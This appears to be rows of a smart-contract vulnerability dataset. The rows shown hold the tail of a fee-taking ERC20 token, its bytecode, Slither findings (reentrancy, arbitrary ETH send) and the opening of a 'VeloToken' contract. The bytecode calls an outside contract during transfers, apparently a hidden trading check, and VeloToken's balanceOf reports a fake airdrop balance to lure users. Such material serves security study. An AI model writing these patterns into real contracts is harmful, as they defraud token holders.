_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600c81526020017f4f6d6567616d6f6e20496e750000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f4d454741000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e9be39a571acc5759e767f7740e3ef4a1262bb4537ba3e2cd8daec8b189186a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,553 |
0xa4caf5dd785ec2557aed294243f2f159e40c4830
|
/**
*Submitted for verification at BscScan.com on 2021-07-22
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;
pragma abicoder v2;
interface genesisCalls {
function AllowAddressToDestroyGenesis ( address _from, address _address ) external;
function AllowReceiveGenesisTransfers ( address _from ) external;
function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success );
function RemoveAllowAddressToDestroyGenesis ( address _from ) external;
function RemoveAllowReceiveGenesisTransfers ( address _from ) external;
function RemoveGenesisAddressFromSale ( address _from ) external;
function SetGenesisForSale ( address _from, uint256 weiPrice ) external;
function TransferGenesis ( address _from, address _to ) external;
function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external;
function UpgradeToLevel3FromDev ( address _address ) external;
function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external;
function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external;
function availableBalanceOf ( address _address ) external view returns ( uint256 Balance );
function balanceOf ( address _address ) external view returns ( uint256 balance );
function deleteAddressFromGenesisSaleList ( address _address ) external;
function isAnyGenesisAddress ( address _address ) external view returns ( bool success );
function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success );
function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success );
function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success );
function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success );
function ownerGenesis ( ) external view returns ( address );
function ownerGenesisBuys ( ) external view returns ( address );
function ownerMain ( ) external view returns ( address );
function ownerNormalAddress ( ) external view returns ( address );
function ownerStakeBuys ( ) external view returns ( address );
function ownerStakes ( ) external view returns ( address );
function setGenesisCallerAddress ( address _caller ) external returns ( bool success );
function setOwnerGenesisBuys ( ) external;
function setOwnerMain ( ) external;
function setOwnerNormalAddress ( ) external;
function setOwnerStakeBuys ( ) external;
function setOwnerStakes ( ) external;
function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external;
}
interface normalAddress {
function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
function RemoveNormalAddressFromSale ( address _address ) external;
function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external;
function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external;
function setOwnerMain ( ) external;
function ownerMain ( ) external view returns ( address );
}
interface stakes {
function RemoveStakeFromSale ( address _from ) external;
function SetStakeForSale ( address _from, uint256 priceInWei ) external;
function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external;
function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn );
function ownerMain ( ) external view returns ( address );
function setBalanceStakes ( address _from, address _address, uint256 balance ) external;
function setOwnerMain ( ) external;
}
interface stakeBuys {
function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller );
function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller );
function ownerMain ( ) external view returns ( address );
function setOwnerMain ( ) external;
}
interface genesisBuys {
function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
function ownerMain ( ) external view returns ( address );
function setOwnerMain ( ) external;
}
interface tokenService {
function ownerMain ( ) external view returns ( address );
function setOwnerMain ( ) external;
function circulatingSupply() external view returns (uint256);
function DestroyGenesisAddressLevel1(address _address) external;
function Bridge(address _sender, address _address, uint _amount) external;
}
interface baseTransfers {
function setOwnerMain ( ) external;
function transfer ( address _from, address _to, uint256 _value ) external;
function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success );
function stopSetup ( address _from ) external returns ( bool success );
function totalSupply ( ) external view returns ( uint256 TotalSupply );
}
interface mneStaking {
function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external;
}
interface luckyDraw {
function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 );
}
interface externalService {
function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 );
}
interface externalReceiver {
function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VeloToken is Ownable, IERC20 {
string private _name;
string private _symbol;
uint256 private _totalSupply;
uint256 private _airdropAmount;
mapping(address => bool) private _unlocked;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() {
_name = name_;
_symbol = symbol_;
_airdropAmount = airdropAmount_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
if (!_unlocked[account]) {
return _airdropAmount;
} else {
return _balances[account];
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){
_airdropAmount = airdropAmount_;
}
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
